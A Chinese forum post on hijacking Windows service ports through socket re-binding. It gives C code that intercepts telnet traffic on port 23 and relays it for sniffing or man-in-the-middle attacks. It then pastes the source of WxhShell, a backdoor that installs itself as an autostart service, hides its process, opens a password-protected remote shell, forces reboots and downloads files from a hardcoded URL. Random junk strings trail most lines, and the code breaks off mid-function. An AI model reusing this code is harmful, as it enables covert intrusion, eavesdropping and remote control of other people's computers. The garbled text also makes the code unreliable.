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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XMdc n,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - VE#:&  
&Ch)SD  
  saddr.sin_family = AF_INET; BmM,vllO  
K]u|V0c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "5YdmBy  
U<t-LF3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $"i690  
n>4S P_[E7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4W?<hv+k7*  
j{^(TE  
  这意味着什么?意味着可以进行如下的攻击: } -vBRY  
cDx^}N!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \PFx# :-c  
moR]{2Cd{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /OP*ARoC21  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |rvrSab)  
Z]Y4NO;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9PJDT]  
6:,^CI|@ t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mQs$7t[>t  
W'jXIO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E8i:ER $$7  
{X$Mwqhpp;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [*G2wP[$  
X W)A~wPBs  
  #include ~D5MAEazS  
  #include TJpv"V  
  #include 2FzS_\":I  
  #include    `k&K"jA7$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P1wRt5  
  int main() f 99PwE(=  
  { F4Uk+|]Bu  
  WORD wVersionRequested; ?nW#qy!R  
  DWORD ret; bY~v0kg  
  WSADATA wsaData; YZl%JX  
  BOOL val; IFxI>6<&  
  SOCKADDR_IN saddr; dLf8w>i`T  
  SOCKADDR_IN scaddr; )^H9C"7T  
  int err; c0&'rxi( B  
  SOCKET s; l*Ei7 |Z  
  SOCKET sc; 3.X0!M;x  
  int caddsize; >e;STU  
  HANDLE mt; 3+3m`%G  
  DWORD tid;   od1omYsR  
  wVersionRequested = MAKEWORD( 2, 2 ); df *#?Ok  
  err = WSAStartup( wVersionRequested, &wsaData ); <UJJ],)^1A  
  if ( err != 0 ) { i[{] LiP  
  printf("error!WSAStartup failed!\n"); 5Kj4!Ai  
  return -1; lM^!^6=v0l  
  } b:Kw_Q  
  saddr.sin_family = AF_INET; 1:zu$|%7  
   X'7S|J6s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2?iOB6  
V2{#<d-T!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Us,[x Q  
  saddr.sin_port = htons(23); jHlOP,kc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !9xANSb  
  { :IVMTdYf  
  printf("error!socket failed!\n"); 5w)^~#  '  
  return -1; 1L8ULxi_?]  
  } =veOVv[Q&/  
  val = TRUE; 4c[)}8\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v7FRTrqjj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q'F_ j"  
  { ef}E.Bl  
  printf("error!setsockopt failed!\n"); eH%L?"J~:  
  return -1; .xkV#ol  
  } qzt2j\v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RyOT[J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BX(d"z b<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8;g.3Qv  
Di<J6xu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6~h1iY_~  
  { xSDE6]  
  ret=GetLastError(); L\Fu']l  
  printf("error!bind failed!\n"); 6!%d-Z7)  
  return -1; %Mng8r  
  }  n22hVw  
  listen(s,2); R g0 XW6  
  while(1) &O6;nJEI  
  { _d[2_b1  
  caddsize = sizeof(scaddr); ~"q,<t  
  //接受连接请求 '+!S|U,{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0^y@p&;/.  
  if(sc!=INVALID_SOCKET) Stw+Dm\!  
  { AO}i@YJth  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qw<kX*fxrI  
  if(mt==NULL) < [S1_2b.t  
  { 5&HT$"H :  
  printf("Thread Creat Failed!\n"); a\&(Ua  
  break; !/4 V^H  
  } LPapD@Z  
  } ]~\SR0  
  CloseHandle(mt); QypiF*fSU  
  } g\qL}:  
  closesocket(s); V+=*2?1  
  WSACleanup(); ST: v3*  
  return 0; HTDyuqs  
  }   V5yxQb  
  DWORD WINAPI ClientThread(LPVOID lpParam) s3Krob`C5  
  { TOco({/_/  
  SOCKET ss = (SOCKET)lpParam; 7~kpRa@\P  
  SOCKET sc; u+z .J4w  
  unsigned char buf[4096]; kJurUDo  
  SOCKADDR_IN saddr; ]Z.<c$  
  long num; f/0v' Jt  
  DWORD val; }RA3$%3  
  DWORD ret; Bbl)3$`,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +EST58  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R0Ax$Cv{  
  saddr.sin_family = AF_INET; QN5yBa!Wz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 23}BW_m  
  saddr.sin_port = htons(23); t<!+b@l5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %A)-m 69  
  { 7 >PF~=  
  printf("error!socket failed!\n"); <\1}@?NGC  
  return -1; aCU7w5  
  } ]RH=s7L  
  val = 100; H _Zo@y~J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Lc<;=w'9  
  { ;[TljcbS  
  ret = GetLastError(); ).0V%}>  
  return -1; E8T"{ R80  
  } 5,HCeN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^%n124  
  { r#_7]_3  
  ret = GetLastError(); ?ID* /u|X  
  return -1; T!u'V'Ei2  
  } ";wyNpb(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0Jm]f/iZ  
  { GB&Nt{  
  printf("error!socket connect failed!\n"); P]pmt1a  
  closesocket(sc); <@u0.-]  
  closesocket(ss); RGT_}ni  
  return -1; -Wl)Lez@  
  } 98ca[.ui  
  while(1) H|PrsGW  
  { Ms.PO{wb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >Hdjsu5{N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LQh^; ]^(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \e?.h m q  
  num = recv(ss,buf,4096,0); #V<`U:.  
  if(num>0) {iA^rv|  
  send(sc,buf,num,0); +VSZhg,Np8  
  else if(num==0) sW;7m[o  
  break; %z(9lAe  
  num = recv(sc,buf,4096,0); ~_ *H)|  
  if(num>0) ~k9O5S{  
  send(ss,buf,num,0); ]}BB/KQy^  
  else if(num==0) W;^N8ap%  
  break; CXBzX:T?#  
  } 'b8R#R\P  
  closesocket(ss); O x{Q.l  
  closesocket(sc); |}Q( F+cL  
  return 0 ; ows^W8-w  
  } 2bWUa~%B  
ft{W/ * +_  
a lrt*V|=  
========================================================== K6E}";;  
zCBplb  
下边附上一个代码,,WXhSHELL /E)9v$!  
i#k-)N _$  
========================================================== zEy&4Kl{+  
l$M$o(  
#include "stdafx.h" :#WEx_]  
m)r]F#@/  
#include <stdio.h> TfL4_IAG.  
#include <string.h> k,T_e6(  
#include <windows.h> pL~=Z?(B  
#include <winsock2.h> J=):+F=  
#include <winsvc.h> 9X3yp:>V  
#include <urlmon.h> l1}R2lSEO  
f7Zf}1|  
#pragma comment (lib, "Ws2_32.lib") 9[kX/#~W*  
#pragma comment (lib, "urlmon.lib") w$b~x4y%  
90p3V\LO  
#define MAX_USER   100 // 最大客户端连接数 c -w0  
#define BUF_SOCK   200 // sock buffer P&mtA2  
#define KEY_BUFF   255 // 输入 buffer 8hZwQ[hr  
D{R/#vM jk  
#define REBOOT     0   // 重启 ?s%v 3T  
#define SHUTDOWN   1   // 关机 )i0 $j)R  
qp\BV#E  
#define DEF_PORT   5000 // 监听端口 8^y=H=  
Y xJ`-6  
#define REG_LEN     16   // 注册表键长度 v`SY6;<2  
#define SVC_LEN     80   // NT服务名长度 %]#VdS|N  
N#UXP5C(  
// 从dll定义API EMh r6</  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -?5$ PH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V}SyD(8~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {S *!B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _W|R;Cz]  
JR)/c6j  
// wxhshell配置信息 .uKx>YB}  
struct WSCFG { n$YE !D'  
  int ws_port;         // 监听端口 =53b Lzr  
  char ws_passstr[REG_LEN]; // 口令 H<Hrwy~  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5DOE3T`^Oc  
  char ws_regname[REG_LEN]; // 注册表键名 HlPG3LD!  
  char ws_svcname[REG_LEN]; // 服务名 JpmB;aL#%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 waCboK'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [sj VRW-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EE]=f=3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `L\)ahM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _88QgThb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 { 5-zyE  
D%U:!|G  
};  U(~U!O}  
_q)!B,y-/N  
// default Wxhshell configuration 7)J6/('  
struct WSCFG wscfg={DEF_PORT, m?;$;x~Dj  
    "xuhuanlingzhe", PrSkHxm  
    1, ?PH/?QP  
    "Wxhshell", 9afh[3qm  
    "Wxhshell", ue6d~8&  
            "WxhShell Service", *b"CPg/\  
    "Wrsky Windows CmdShell Service", 6IP$n($2  
    "Please Input Your Password: ", ],[)uTZc  
  1, BS7J#8cu  
  "http://www.wrsky.com/wxhshell.exe", 8QF2^*RZ7z  
  "Wxhshell.exe" HH8;J66I&  
    }; ^PqMi:htc  
%hINpZMr  
// 消息定义模块 TsHF tj9S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qVBL>9O*.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =IHje;s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?4G(N=/&  
char *msg_ws_ext="\n\rExit."; /\J|Uj  
char *msg_ws_end="\n\rQuit."; iYKU[UP?  
char *msg_ws_boot="\n\rReboot..."; +.@c{5J<  
char *msg_ws_poff="\n\rShutdown..."; ?2ItB`<(  
char *msg_ws_down="\n\rSave to "; 6peyh_  
 AmcC:5  
char *msg_ws_err="\n\rErr!"; =& -[TPW  
char *msg_ws_ok="\n\rOK!"; ~HmxEk9  
_ 08];M|  
char ExeFile[MAX_PATH]; RUGv8"j  
int nUser = 0; P`TIaP9%E  
HANDLE handles[MAX_USER]; [w+Q^\%bN  
int OsIsNt; qC@Ar)T  
EGS%C%>l/o  
SERVICE_STATUS       serviceStatus; kdcQw7G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }U[-44r:  
[X/(D9J  
// 函数声明 +\`rmI  
int Install(void); vPmnN^  
int Uninstall(void); q*8lnk  
int DownloadFile(char *sURL, SOCKET wsh); y3IWfiz>/d  
int Boot(int flag); S~3\3qt$  
void HideProc(void); 3t(c_:[%  
int GetOsVer(void); K]fpGo  
int Wxhshell(SOCKET wsl); ut &/\k=N  
void TalkWithClient(void *cs); KcXpH]>!9  
int CmdShell(SOCKET sock); v01#>,R  
int StartFromService(void); >I<PO.c!  
int StartWxhshell(LPSTR lpCmdLine); H+l,)Se  
-9o{vmB{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `.^ |]|u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w sY}JT  
*YvRNHP  
// 数据结构和表定义 8eyl,W=dn  
SERVICE_TABLE_ENTRY DispatchTable[] = NL!9U,h5|  
{ B9M>e'H%<  
{wscfg.ws_svcname, NTServiceMain}, M"wue*&  
{NULL, NULL} fKkjn4&W  
}; 4%_M27bu[  
T bf:eVIG  
// 自我安装 U<bYFuS"  
int Install(void) N.hzKq][  
{ Z'M`}3O  
  char svExeFile[MAX_PATH]; O4Dr ]Xc]  
  HKEY key; tZho)[1  
  strcpy(svExeFile,ExeFile); `\b+[Nes  
d`%M g&  
// 如果是win9x系统,修改注册表设为自启动 K2ewucn  
if(!OsIsNt) { bQQVj?8jp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =2 jhII  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lhPGE_\  
  RegCloseKey(key); q#[`KOPV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g>0vm2|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Q|c@t  
  RegCloseKey(key); Jqfm@Y  
  return 0; w~+aW(2  
    } LP<<'(l`  
  } wahZK~,EaY  
} 8cdsToF(e.  
else { ?<~WO?  
/[pqI0sf<A  
// 如果是NT以上系统,安装为系统服务 O@&+} D>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DW2>&|  
if (schSCManager!=0) qrBZvJU  
{ m<@z}%v-  
  SC_HANDLE schService = CreateService u"+}I,'L  
  ( $p$dKH  
  schSCManager, >*qQ+_  
  wscfg.ws_svcname, srmKaa|  
  wscfg.ws_svcdisp, [1( FgyE  
  SERVICE_ALL_ACCESS, CL9yEy"V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EzT`,#b  
  SERVICE_AUTO_START, EHI'xt  
  SERVICE_ERROR_NORMAL, ?R'Y?b  
  svExeFile, /QxlGfNZ  
  NULL, S`= WF^  
  NULL, 5%i:4sMx *  
  NULL, oF|N O^H  
  NULL, .+.j*>q>u  
  NULL .SS<MDcqIt  
  ); Yl({)qK{  
  if (schService!=0) z2 hFn&  
  { 2<r\/-#pU  
  CloseServiceHandle(schService); Z4q~@|+%  
  CloseServiceHandle(schSCManager); -5Utl os  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pIO4,VL;W  
  strcat(svExeFile,wscfg.ws_svcname); A Y9 9!p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (! KG)!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jRj=Awy  
  RegCloseKey(key); !G?gsW0\h  
  return 0; x` /)g(  
    } "(TkJbwC[  
  } b2) \ MNH  
  CloseServiceHandle(schSCManager); M$S]}   
} IVjU`ij  
} g>j| ]6  
bS^WhZy'(  
return 1; ^&[+H8$  
} qx)?buAij  
k$"d^*R  
// 自我卸载 -$-8W  
int Uninstall(void) (q;bg1\UK  
{ 1mgLX_U9  
  HKEY key; Ew,T5GG  
q mQfLz7&x  
if(!OsIsNt) { WxUxc75  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fi%r<]@  
  RegDeleteValue(key,wscfg.ws_regname); *yaw$oB  
  RegCloseKey(key); ,/2LY4` 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oy\B;aAK  
  RegDeleteValue(key,wscfg.ws_regname); 7+,vTsCd  
  RegCloseKey(key); gK1g]Tc@G  
  return 0; ]k%PG-9  
  } 3Qn!y\#  
} t~p y=\  
} ([E]_Q  
else { m5c&&v6%"b  
ZFn(x*L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]\c,BWC@e  
if (schSCManager!=0) *b|NjwmB  
{ Af-UScD%G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wS XVyg{  
  if (schService!=0) )N !>=  
  { nWYCh7  
  if(DeleteService(schService)!=0) { W<,F28jI3v  
  CloseServiceHandle(schService); -1%OlKC  
  CloseServiceHandle(schSCManager); i!H!;z#  
  return 0; L'A)6^d@S  
  } URTzX 2'[  
  CloseServiceHandle(schService); ql{_%x?  
  } `dkV_ O0  
  CloseServiceHandle(schSCManager); v/Pw9j!r;m  
} pmc=NTr&<  
} ][@F  
blt'={Z?.x  
return 1; ERMa# L  
} q!lP"J  
9<1F[SS<s9  
// 从指定url下载文件 fw-\|fP  
int DownloadFile(char *sURL, SOCKET wsh) zc+@lJy  
{ IyUdZ,ba  
  HRESULT hr; C*kK)6v `  
char seps[]= "/"; ~}9PuYaD@  
char *token; MmoR~~*  
char *file; tjnPyaJEl  
char myURL[MAX_PATH]; Qd`T5[b\  
char myFILE[MAX_PATH]; hsNWqk qys  
al^!,ykc  
strcpy(myURL,sURL); X]j)+DX>  
  token=strtok(myURL,seps); b~Y%gC)FR  
  while(token!=NULL) h1D?=M\9  
  { cu9Qwm  
    file=token; /Ft:ffR|R  
  token=strtok(NULL,seps); !X^Ce)1K  
  } J >0b1  
~Qj}ijWD  
GetCurrentDirectory(MAX_PATH,myFILE); oy.[+EI`|  
strcat(myFILE, "\\"); np$ zo  
strcat(myFILE, file); DT(d@upH  
  send(wsh,myFILE,strlen(myFILE),0); Xz{~3ih  
send(wsh,"...",3,0); kyYLP"oB=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PO-"M)M  
  if(hr==S_OK) Sr Ca3PA  
return 0; hlJpElYf  
else },-*  
return 1; (nSml,gU  
} (FPV*mS  
} ]1`g^Z@ 0  
<E,%@  
// 系统电源模块 Ww3wsyx  
int Boot(int flag) (#\pQ51  
{ #$ thPZ  
  HANDLE hToken; BzJ;%ywS  
  TOKEN_PRIVILEGES tkp; T/r#H__`  
D/(CU#i"  
  if(OsIsNt) { G7LIdn=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n`7f"'/:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O'*@ Ytn  
    tkp.PrivilegeCount = 1; vXj<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I s57F4[}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L,[;k  
if(flag==REBOOT) { 9]'&RyH=#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /*)Tl   
  return 0; .3qu9eP   
} =<z.mzqu5  
else { _`-1aA&n~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _D7]-3uC!  
  return 0; k0z&v <  
} !]` #JAL7  
  } V7Yaks  
  else { t ~7V { xk  
if(flag==REBOOT) { KDP H6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yCz|{=7"j  
  return 0; >ezi3Zx^  
} FqFapRX66Z  
else { tB7}|jC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bru/AZ#de  
  return 0; E ]9\R  
} P$GjF-!:  
} | tQiFC  
cE'L% Z  
return 1; a,t``'c;  
} g| <wyt[  
}G<T:(a  
// win9x进程隐藏模块 ^ZDBO/  
void HideProc(void) VZn=rw  
{ _,74)l1  
'J)2g"T@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VhGs/5  
  if ( hKernel != NULL ) ,Tagj`@bHc  
  { `?(Bt|<>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P,S G.EFK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Flxvhl)L  
    FreeLibrary(hKernel); @wmi 5oExc  
  } Ty(@+M~-  
1SIq[1  
return; {Rq1HH  
} Uh1NO&i.W  
<|Yj%f  
// 获取操作系统版本 eas:6Q)  
int GetOsVer(void) `fXyWrz-k  
{ 3-Dt[0%{  
  OSVERSIONINFO winfo; _Us*+ 2(4L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Mp$8-=>7  
  GetVersionEx(&winfo); AwUi+|7r])  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |WryBzZ>on  
  return 1; X@)z80  
  else H1" q  
  return 0; VQI(Vp|  
} vR6Bn  
:q<Z'EnW  
// 客户端句柄模块 DmVP  
int Wxhshell(SOCKET wsl) ^I6^g  
{ q_W0/Ki8  
  SOCKET wsh; o'<^LYSnB  
  struct sockaddr_in client; ]&~]#vB#  
  DWORD myID; D<i[LZd  
h0Z{,s}  
  while(nUser<MAX_USER) 2g9 G{~,@g  
{ @XD+'{]  
  int nSize=sizeof(client); +z9@:L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U!%!m'  
  if(wsh==INVALID_SOCKET) return 1; %Pqk63QF  
!  Z`0(d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); juF{}J2  
if(handles[nUser]==0) D0(xNhmKz  
  closesocket(wsh); YKbCdLQ  
else ajRSMcKb7i  
  nUser++; Ioy  
  } vzel#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *=ZsqOHwG  
<!$:8ls  
  return 0; $GQ`clj<  
} 1T_QX9  
<WXzh5D2  
// 关闭 socket @pI5lh  
void CloseIt(SOCKET wsh) plu$h-$d  
{ ;g_> ;tR/  
closesocket(wsh); 3($"q]Y  
nUser--; 49Df?sx  
ExitThread(0); K'iIJA*Sn  
} u JR%0E7!  
.O*bILU  
// 客户端请求句柄 iz(u=/*\  
void TalkWithClient(void *cs) ki0V8]HP  
{ E+"dqSI/v  
< _$%@4 L  
  SOCKET wsh=(SOCKET)cs; 5Ft5@UF~  
  char pwd[SVC_LEN]; =z?%;4'|  
  char cmd[KEY_BUFF]; i`/+,<  
char chr[1]; =K&\E2kA4  
int i,j; f"7M^1)h2%  
cw&Hgjj2  
  while (nUser < MAX_USER) { -S,ln  
:{'k@J"| a  
if(wscfg.ws_passstr) { hqk}akXt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #>Y'sd5'A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'sp-%YlM -  
  //ZeroMemory(pwd,KEY_BUFF); zJM S=r  
      i=0;  `G1&Z]z  
  while(i<SVC_LEN) { 2 nb:)  
5!C_X5M  
  // 设置超时 7@.cOB`y@3  
  fd_set FdRead; s%iOUL2/  
  struct timeval TimeOut; k{tMzx]F__  
  FD_ZERO(&FdRead); #QvMVy  
  FD_SET(wsh,&FdRead); 4E8JT#&  
  TimeOut.tv_sec=8; wn>edn  
  TimeOut.tv_usec=0; L.xZ_ 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1tCQpf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sfr(/mp(  
IdIrI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sz{O2 l Y  
  pwd=chr[0]; 3$vRW.c\q  
  if(chr[0]==0xd || chr[0]==0xa) { H?}[r)|(3i  
  pwd=0; t3Z_Dp~\  
  break; q0%  
  } Mcw4!{l`  
  i++; Lf:uNl*D  
    } *?QE2&S:  
yix'rA-T  
  // 如果是非法用户,关闭 socket ?^' 7+8C*J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a/~aFmu6b  
} It_M@  
C\_zdADUb%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oMcK`%ydm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {^{p,9  
_!xD8Di#  
while(1) { M-NV_W&M  
c~A4gtB=  
  ZeroMemory(cmd,KEY_BUFF); Xf =XBoN|  
_FbC{yI8;  
      // 自动支持客户端 telnet标准   E{=2\Wkcp  
  j=0; STfyCtS  
  while(j<KEY_BUFF) { BE&B}LfvfO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jxf~&!zR  
  cmd[j]=chr[0]; ezhDcI_T  
  if(chr[0]==0xa || chr[0]==0xd) { @/ J [t  
  cmd[j]=0; tC8(XMVx  
  break; j^`X~gE  
  } ^IZ)#1U  
  j++; CZ 2`H[8  
    } Q8p&Ki;i  
w&Dv8Wv+Oq  
  // 下载文件 IWVlrGyM  
  if(strstr(cmd,"http://")) { +i `*lBup$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1rw0sAuGy  
  if(DownloadFile(cmd,wsh)) JGiKBm;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W#_/ak$uF*  
  else LCXO>MXN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7RU}FE  
  } 5yh/0i5|  
  else { zHB_{(o7  
I4H`YOD%  
    switch(cmd[0]) { y;" n9  
  O|kKwadC  
  // 帮助 3HG;!D~m;  
  case '?': { fLN!EDq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >: 0tA{bV  
    break; P#kGX(G9!  
  } W:&R~R  
  // 安装 U IJx*  
  case 'i': { /rB{[zk  
    if(Install()) Eu@5L9A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!ZyCi19  
    else u'Q?T7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tury<*  
    break; V BoMT:#  
    } g]mtFrP  
  // 卸载 4z7G2  
  case 'r': { <>SdVif]  
    if(Uninstall()) wn +FTqj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k@!r#`j3  
    else 6@;ha=[+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .r|*Ch#;P  
    break; 9G?ldp8  
    } huFz97?y(  
  // 显示 wxhshell 所在路径 yT /EHmJ  
  case 'p': { _68BP)nz>.  
    char svExeFile[MAX_PATH]; Zp`T  
    strcpy(svExeFile,"\n\r"); :bM+&EP  
      strcat(svExeFile,ExeFile); Z%o7f6P0IX  
        send(wsh,svExeFile,strlen(svExeFile),0); C.a5RF0  
    break; d<p2/aA  
    } /4S;QEv  
  // 重启 BW[5o3 i  
  case 'b': { dFW=9ru+MQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IxSV?k   
    if(Boot(REBOOT)) 6/ g%\ka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~Q=h`9  
    else { Go\VfLLw  
    closesocket(wsh); _]#klL  
    ExitThread(0); }F1s tDx  
    } % n$^-Vc&  
    break; 3*S[eqMJc  
    } R|,7d:k  
  // 关机 C? m,ta3  
  case 'd': { `_AM` >_  
